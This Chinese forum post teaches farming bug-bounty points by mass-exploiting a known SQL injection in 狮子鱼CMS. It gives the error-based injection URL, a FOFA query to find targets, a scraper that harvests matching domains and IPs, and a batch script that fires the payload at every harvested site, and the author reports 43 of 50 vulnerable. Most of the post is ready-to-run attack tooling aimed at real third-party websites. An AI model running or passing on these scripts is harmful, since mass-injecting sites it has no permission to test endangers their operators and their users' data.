[限时活动] SRC究极上分秘籍,上榜不再困难,轻轻松松上千分!

wwxxee   ·   发表于 2021-05-27 22:00:36   ·   技术文章投稿区

SRC上分秘籍

大家好,我是十二期五班的helo,参见了27期SRC活动。这次来分享一下我的挖掘经验,希望可以对各位有帮助。

重点:

上榜需要什么?需要分,需要很多分。取得高分的方法就是不能靠一个一个站的去找,这样浪费时间且低效。我们需要批量的去找漏洞,批量的获得分。

那么怎么批量的去找漏洞呢?需要通杀漏洞。一个漏洞点可以验证所有使用这个CMS,这个框架,这个中间件,这个服务器的站点。

如果有0day,那将无敌。但是对于我们新手来说,目前可能没有0day挖掘的能力。但是我们可以找Nday呀。最好是1day。先自己把这个漏洞复现出来,知道原理之后就可以批量去验证洞了
我这里使用的例子就是一个nday。

狮子鱼CMS-SQL注入

漏洞成因:

狮子鱼CMS ApiController.class.php 参数过滤存在不严谨,导致SQL注入漏洞

分析:

造成这个SQL注入的原因是:
ApiController.class.php 中没有对参数$good_id进行过滤。

POC:

https://www.xxx.com/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)

先找个站点测试一下:
fofa语法:”/seller.php?s=/Public/login”

后台登录界面:

image-20210519175719369

image-20210519180328476
成功报错。

验证成功了说明这个洞有效,接下来我们就可以批量的去验证这个洞。

fofa语句也提供了,正常情况下我们需要点开一个个站点去验证。但是如果我们会爬虫,把fofa语法搜索出来的结果ip跟域名保存下来,然后写程序去请求这个保存下来的IP进行验证,那我们不就只需要等着就行了吗。

fofa爬虫

如果有fofa会员的话,fofa是提供api的,他会把你请求的结果用json格式的数据返回给你,你可以直接解析里的各项信息,包括域名跟ip。还是很方便的。
但是,我们是白嫖怪,会员是不可能开的。
普通注册会员fofa提供50条结果,所以注册一下为好。

这里直接提供给各位没有会员的fofa爬虫。

FOFA爬虫:

  1. import requests
  2. import urllib3
  3. from lxml import etree
  4. urllib3.disable_warnings() #忽略https证书告警
  5. headers = {
  6. 'Cookie': '登录后获取自己cookie',
  7. 'Upgrade-Insecure-Requests': '1',
  8. 'Referer': 'https://fofa.so/',
  9. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
  10. }
  11. # fofa搜索结果url,qbase是搜索内容的base64加密结果,page_size是每页多少个,page是页数
  12. base_url = "https://fofa.so/result?qbase64=Ii9zZWxsZXIucGhwP3M9L1B1YmxpYy9sb2dpbiIgJiYgaXNfZG9tYWluPXRydWU%3D&page_size=50&page="
  13. def get_domainList(url):
  14. response = requests.get(url=url, verify=False, headers=headers)
  15. selector = etree.HTML(response.text)
  16. domainList = selector.xpath('//span[@class="aSpan"]/a/text()')
  17. # print("domainlist:", domainList)
  18. return domainList
  19. def get_IPLIst(url):
  20. response = requests.get(url=url, verify=False, headers=headers)
  21. selector = etree.HTML(response.text)
  22. IPList = selector.xpath('//div[@class="contentMain"]/div[@class="contentLeft"]/p[2]/a[@class="jumpA"]/text()')
  23. # print("iplist:", IPList)
  24. return IPList
  25. def write_list(listName, filename):
  26. f = open(filename, 'a', encoding='utf-8')
  27. print("writeing in : ", filename)
  28. for list1 in listName:
  29. print(list1)
  30. f.write(list1 +('\n'))
  31. f.close()
  32. def main():
  33. for i in range(1, 6):
  34. url = base_url+str(i)
  35. domainList = get_domainList(url)
  36. IPList = get_IPLIst(url)
  37. write_list(domainList, "./save_file/shiziyuSQL-domainList.txt")
  38. write_list(IPList, "./save_file/shiziyuSQL-IPList.txt")
  39. print("save success!")
  40. if __name__ == '__main__':
  41. main()

结果会保存在shiziyuSQL-domainList.txt和shiziyuSQL-IPList.txt中。
接下来就是批量请求了,POC如下:

POC

  1. # -*- coding:utf-8 -*-
  2. import requests
  3. import re
  4. import json
  5. import sys
  6. import urllib3
  7. urllib3.disable_warnings() #忽略https证书告警
  8. vunl_path = "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)"
  9. def POC(url):
  10. target_url = url + vunl_path
  11. headers = {
  12. "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
  13. }
  14. try:
  15. response = requests.get(url=target_url, headers=headers, verify=False, timeout=10)
  16. print("正在测试:", target_url)
  17. if "syntax" in response.text:
  18. print("上述地址存在SQL注入")
  19. except Exception as e:
  20. print("请求失败!")
  21. sys.exit(0)
  22. if __name__ == '__main__':
  23. print("python3 poc.py http://xx.xx.xx.xx")
  24. with open("./save_file/shiziyuSQL-domainList.txt", "r") as f:
  25. results = f.readlines()
  26. for result in results:
  27. if "http" in result:
  28. url = result.strip()
  29. POC(url)
  30. else:
  31. url = "http://" + result
  32. url = url.strip()
  33. POC(url)

这个脚本会在保存的域名列表后加上漏洞路径:”/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)“
去验证漏洞是否存在,如果报错出数据库名就能证明此处存在SQL注入,否则没有,直接下一个,快速又高效。
这次的验证结果如下:
image-20210519190312804

50个域名里有43个存在SQL注入。由于我们没有fofa会员只能请求50个,fofa会员不可想 太多了,你看看

你接下最枯燥的事情就是提交漏洞了。(这个源码可以直接接着使用,因为我只在漏洞盒子上提交了几个,提交40几个漏洞也太累了)需要上分的兄弟可以参考。

看到这里你还觉得上榜难吗?1000分不是轻轻松松吗?躺着就把分拿到手了

fofa爬虫跟POC的源码都提供给各位了,要个赞不过分吧。

用户名金币积分时间理由
裁决者 10.00 0 2021-06-07 15:03:11 一个受益终生的帖子~~
奖励系统 50.00 0 2021-06-06 19:07:43 投稿满 5 赞奖励
Track-聂风 70.00 0 2021-05-28 15:03:11

打赏我,让我更有动力~

5 Reply   |  Until 1天前 | 434 View

Track-聂风
发表于 15天前

其实有漏洞盒子自动提交脚本,你可以去看看结合。然后希望文章下次给的是思路吧,这样暴力的上榜并不推荐

评论列表

  • 加载数据中...

编写评论内容

fengming93
发表于 12天前

python2还是python3?

评论列表

  • 加载数据中...

编写评论内容

乐伟超
发表于 11天前

有源码可以分享一下吗

评论列表

  • 加载数据中...

编写评论内容

裁决者
发表于 5天前

这篇文章可以得 上榜真得很简单 不过嘛对于技术得提升来说就没有太大关系了

评论列表

  • 加载数据中...

编写评论内容

fallen
发表于 1天前

为啥我只能爬取10条数据啊。。

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

掌控者 © 2016 - 2021. All Rights Reserved. 掌控者

Powered by 掌控者